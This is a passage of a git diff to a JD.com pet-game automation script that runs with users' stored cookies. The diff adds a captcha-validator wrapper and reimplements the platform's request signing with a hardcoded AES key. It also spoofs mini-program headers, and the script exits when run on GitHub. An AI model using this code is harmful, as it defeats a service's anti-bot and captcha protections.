this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_joy_steal.js b/jd_joy_steal.js index 3c3e830..5636944 100755 --- a/jd_joy_steal.js +++ b/jd_joy_steal.js @@ -1,5 +1,5 @@ /* -Last Modified time: 2021-7-15 8:22:37 +Last Modified time: 2021-6-6 10:22:37 活动入口:京东APP我的-更多工具-宠汪汪 最近经常出现给偷好友积分与狗粮失败的情况,故建议cron设置为多次 jd宠汪汪偷好友积分与狗粮,及给好友喂食 @@ -22,20 +22,21 @@ cron "10 0-21/3 * * *" script-path=jd_joy_steal.js,tag=宠汪汪偷好友积分 =======小火箭===== 宠汪汪偷好友积分与狗粮 = type=cron,script-path=jd_joy_steal.js, cronexpr="10 0-21/3 * * *", timeout=3600, enable=true */ - const $ = new Env('宠汪汪偷好友积分与狗粮'); +const zooFaker = require('./JDJRValidator_Pure'); +$.get = zooFaker.injectToRequest2($.get.bind($)); +$.post = zooFaker.injectToRequest2($.post.bind($)); const notify = $.isNode() ? require('./sendNotify') : ''; //Node.js用户请在jdCookie.js处填写京东ck; const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const validator = require('./JDJRValidator_Pure.js'); -let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); +let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); //IOS等用户直接用NobyDa的jd cookie let cookiesArr = [], cookie = ''; if ($.isNode()) { Object.keys(jdCookieNode).forEach((item) => { cookiesArr.push(jdCookieNode[item]) }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; } else { cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); } @@ -44,10 +45,7 @@ let message = '', subTitle = ''; let jdNotify = false;//是否开启静默运行,false关闭静默运行(即通知),true打开静默运行(即不通知) let jdJoyHelpFeed = true;//是否给好友喂食,false为不给喂食,true为给好友喂食,默认给好友喂食 let jdJoyStealCoin = true;//是否偷好友积分与狗粮,false为否,true为是,默认是偷 -let JD_API_HOST = 'https://jdjoy.jd.com' -if(process.env.JOY_HOST){ - JD_API_HOST = process.env.JOY_HOST -} +const JD_API_HOST = 'https://jdjoy.jd.com/pet'; //是否给好友喂食 let ctrTemp; if ($.isNode() && process.env.JOY_HELP_FEED) { @@ -66,18 +64,15 @@ if ($.isNode() && process.env.jdJoyStealCoin) { } else { jdJoyStealCoinTemp = `${jdJoyStealCoin}` === 'true'; } -$.get=validator.injectToRequest($.get.bind($)) -$.post=validator.injectToRequest($.post.bind($)) - !(async () => { if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); return; } for (let i = 0; i < cookiesArr.length; i++) { if (cookiesArr[i]) { cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) $.index = i + 1; $.isLogin = true; $.nickName = ''; @@ -86,7 +81,7 @@ $.post=validator.injectToRequest($.post.bind($)) await TotalBean(); console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); if ($.isNode()) { await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); @@ -95,17 +90,20 @@ $.post=validator.injectToRequest($.post.bind($)) } message = ''; subTitle = ''; + $.validate = ''; + // const zooFaker = require('./utils/JDJRValidator_Pure'); + // $.validate = await zooFaker.injectToRequest() await jdJoySteal(); await showMsg(); } } })() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) async function jdJoySteal() { try { $.helpFood = 0; @@ -114,6 +112,7 @@ async function jdJoySteal() { $.stealStatus = null; $.helpFeedStatus = null; message += `【京东账号${$.index}】${$.nickName}\n`; + await enterRoom() await getFriends();//查询是否有好友 await getCoinChanges();//查询喂食好友和偷好友积分是否已达上限 if ($.getFriendsData && $.getFriendsData.success) { @@ -121,7 +120,7 @@ async function jdJoySteal() { console.log(`\n京东返回宠汪汪好友列表数据为空\n`) return } - if ($.getFriendsData && $.getFriendsData.datas && $.getFriendsData.datas.length > 0) { + if ($.getFriendsData && $.getFriendsData.datas && $.getFriendsData.datas.length > 0) { const { lastPage } = $.getFriendsData.page; // console.log('lastPage', lastPage) console.log(`\n共 ${lastPage * 20 - 1} 个好友\n`); @@ -284,19 +283,54 @@ async function helpFriendsFeed() { $.helpFood = '已达上限(已帮喂20个好友获得200积分)' } } +function enterRoom() { + return new Promise(resolve => { + // const url = `${weAppUrl}/enterRoom/h5?reqSource=weapp&invitePin=&openId=`; + const host = `draw.jdfcloud.com`; + const reqSource = 'weapp'; + let opt = { + url: `//draw.jdfcloud.com/common/pet/enterRoom/h5?invitePin=&openId=&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; + $.post({ ...taskPostUrl(url.replace(/reqSource=h5/, 'reqSource=weapp'), host, reqSource), body: '{}' }, (err, resp, data) => { + try { + if (err) { + console.log('\n京东宠汪汪: API查询请求失败 ‼️‼️') + } else { + // console.log('JSON.parse(data)', JSON.parse(data)) + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} function getFriends(currentPage = '1') { return new Promise(resolve => { - const url = `${JD_API_HOST}/common/pet/h5/getFriends?itemsPerPage=20¤tPage=${currentPage * 1}&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: `//draw.jdfcloud.com//common/pet/api/getFriends?itemsPerPage=20¤tPage=${currentPage * 1}&invokeKey=qRKHmL4sna8ZOP9F`, + // url: `//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F`, + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; const options = { - url, + url: url.replace(/reqSource=h5/, 'reqSource=weapp'), headers: { 'Cookie': cookie, - 'reqSource': 'h5', - 'Host': 'jdjoy.jd.com', + // 'reqSource': 'h5', + 'Host': 'draw.jdfcloud.com', 'Connection': 'keep-alive', 'Content-Type': 'application/json', - "Origin": "https://h5.m.jd.com", - 'referer': 'https://h5.m.jd.com/', + 'Referer': 'https://jdjoy.jd.com/pet/index', 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), 'Accept-Language': 'zh-cn', 'Accept-Encoding': 'gzip, deflate, br', @@ -329,7 +363,7 @@ async function stealFriendCoin(friendPin) { // console.log(`进入好友 ${friendPin}的房间`) const enterFriendRoomRes = await enterFriendRoom(friendPin); if (enterFriendRoomRes) { - const { friendHomeCoin } = enterFriendRoomRes.data; + const { friendHomeCoin } = enterFriendRoomRes.data; if (friendHomeCoin > 0) { //领取好友积分 console.log(`好友 ${friendPin}的房间可领取积分${friendHomeCoin}个\n`) @@ -465,17 +499,24 @@ function getRandomFood(friendPin) { } function getCoinChanges() { return new Promise(resolve => { - const url = `${JD_API_HOST}/common/pet/getCoinChanges?changeDate=${Date.now()}&reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F` + let opt = { + url: `//jdjoy.jd.com/common/pet/getCoinChanges?changeDate=${Date.now()}&invokeKey=qRKHmL4sna8ZOP9F`, + // url: "//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5", + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; const options = { url, headers: { 'Cookie': cookie, - 'reqSource': 'h5', + // 'reqSource': 'h5', 'Host': 'jdjoy.jd.com', 'Connection': 'keep-alive', 'Content-Type': 'application/json', - "Origin": "https://h5.m.jd.com", - 'referer': 'https://h5.m.jd.com/', + 'Referer': 'https://jdjoy.jd.com/pet/index', 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), 'Accept-Language': 'zh-cn', 'Accept-Encoding': 'gzip, deflate, br', @@ -494,7 +535,7 @@ function getCoinChanges() { $.help_feed = 0; $.visit_friend = 0; for (let item of data.datas) { - if ($.time('yyyy-MM-dd') === timeFormat(item.createdDate) && item.changeEvent === 'help_feed'){ + if ($.time('yyyy-MM-dd') === timeFormat(item.createdDate) && item.changeEvent === 'help_feed') { $.help_feed = item.changeCoin; } if ($.time('yyyy-MM-dd') === timeFormat(item.createdDate) && item.changeEvent === 'visit_friend') { @@ -582,18 +623,41 @@ function TotalBean() { }) }) } +function taskPostUrl(url, Host, reqSource) { + return { + url: url, + headers: { + 'Cookie': cookie, + // 'reqSource': reqSource, + 'Host': Host, + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'https://jdjoy.jd.com/pet/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} function taskUrl(functionId, friendPin) { - const url = `${JD_API_HOST}/common/pet/${functionId}?reqSource=h5&invokeKey=qRKHmL4sna8ZOP9F${friendPin && "&friendPin=" + encodeURI(friendPin)}` + let opt = { + url: `//jdjoy.jd.com/common/pet/${functionId}?friendPin=${encodeURI(friendPin)}&invokeKey=qRKHmL4sna8ZOP9F`, + // url: `//draw.jdfcloud.com/common/pet/getPetTaskConfig?reqSource=h5`, + method: "GET", + data: {}, + credentials: "include", + header: { "content-type": "application/json" } + } + const url = "https:" + taroRequest(opt)['url'] + $.validate; return { url, headers: { 'Cookie': cookie, - 'reqSource': 'h5', + // 'reqSource': 'h5', 'Host': 'jdjoy.jd.com', 'Connection': 'keep-alive', 'Content-Type': 'application/json', - "Origin": "https://h5.m.jd.com", - 'referer': 'https://h5.m.jd.com/', + 'Referer': 'https://jdjoy.jd.com/pet/index', 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), 'Accept-Language': 'zh-cn', 'Accept-Encoding': 'gzip, deflate, br', @@ -620,6 +684,111 @@ function jsonParse(str) { } } } +function taroRequest(e) { + const a = $.isNode() ? require('crypto-js') : CryptoJS; + const i = "98c14c997fde50cc18bdefecfd48ceb7" + const o = a.enc.Utf8.parse(i) + const r = a.enc.Utf8.parse("ea653f4f3c5eda12"); + let _o = { + "AesEncrypt": function AesEncrypt(e) { + var n = a.enc.Utf8.parse(e); + return a.AES.encrypt(n, o, { + "iv": r, + "mode": a.mode.CBC, + "padding": a.pad.Pkcs7 + }).ciphertext.toString() + }, + "AesDecrypt": function AesDecrypt(e) { + var n = a.enc.Hex.parse(e) + , t = a.enc.Base64.stringify(n); + return a.AES.decrypt(t, o, { + "iv": r, + "mode": a.mode.CBC, + "padding": a.pad.Pkcs7 + }).toString(a.enc.Utf8).toString() + }, + "Base64Encode": function Base64Encode(e) { + var n = a.enc.Utf8.parse(e); + return a.enc.Base64.stringify(n) + }, + "Base64Decode": function Base64Decode(e) { + return a.enc.Base64.parse(e).toString(a.enc.Utf8) + }, + "Md5encode": function Md5encode(e) { + return a.MD5(e).toString() + }, + "keyCode": "98c14c997fde50cc18bdefecfd48ceb7" + } + const c = function sortByLetter(e, n) { + if (e instanceof Array) { + n = n || []; + for (var t = 0; t < e.length; t++) + n[t] = sortByLetter(e[t], n[t]) + } else + !(e instanceof Array) && e instanceof Object ? (n = n || {}, + Object.keys(e).sort().map(function (t) { + n[t] = sortByLetter(e[t], n[t]) + })) : n = e; + return n + } + const s = function isInWhiteAPI(e) { + for (var n = ["gift", "pet"], t = !1, a = 0; a < n.length; a++) { + var i = n[a]; + e.includes(i) && !t && (t = !0) + } + return t + } + + const d = function addQueryToPath(e, n) { + if (n && Object.keys(n).length > 0) { + var t = Object.keys(n).map(function (e) { + return e + "=" + n[e] + }).join("&"); + return e.indexOf("?") >= 0 ? e + "&" + t : e + "?" + t + } + return e + } + const l = function apiConvert(e) { + for (var n = r, t = 0; t < n.length; t++) { + var a = n[t]; + e.includes(a) && !e.includes("common/" + a) && (e = e.replace(a, "common/" + a)) + } + return e + } + + var n = e + , t = (n.header, + n.url); + t += (t.indexOf("?") > -1 ? "&" : "?") + "reqSource=h5"; + var _a = function getTimeSign(e) { + var n = e.url + , t = e.method + , a = void 0 === t ? "GET" : t + , i = e.data + , r = e.header + , m = void 0 === r ? {} : r + , p = a.toLowerCase() + , g = _o.keyCode + , f = m["content-type"] || m["Content-Type"] || "" + , h = "" + , u = +new Date(); + return h = "get" !== p && + ("post" !== p || "application/x-www-form-urlencoded" !== f.toLowerCase() && i && Object.keys(i).length) ? + _o.Md5encode(_o.Base64Encode(_o.AesEncrypt("" + JSON.stringify(c(i)))) + "_" + g + "_" + u) : + _o.Md5encode("_" + g + "_" + u), + s(n) && (n = d(n, { + "lks": h, + "lkt": u + }), + n = l(n)), + Object.assign(e, { + "url": n + }) + }(e = Object.assign(e, { + "url": t + })); + return _a +} // prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = 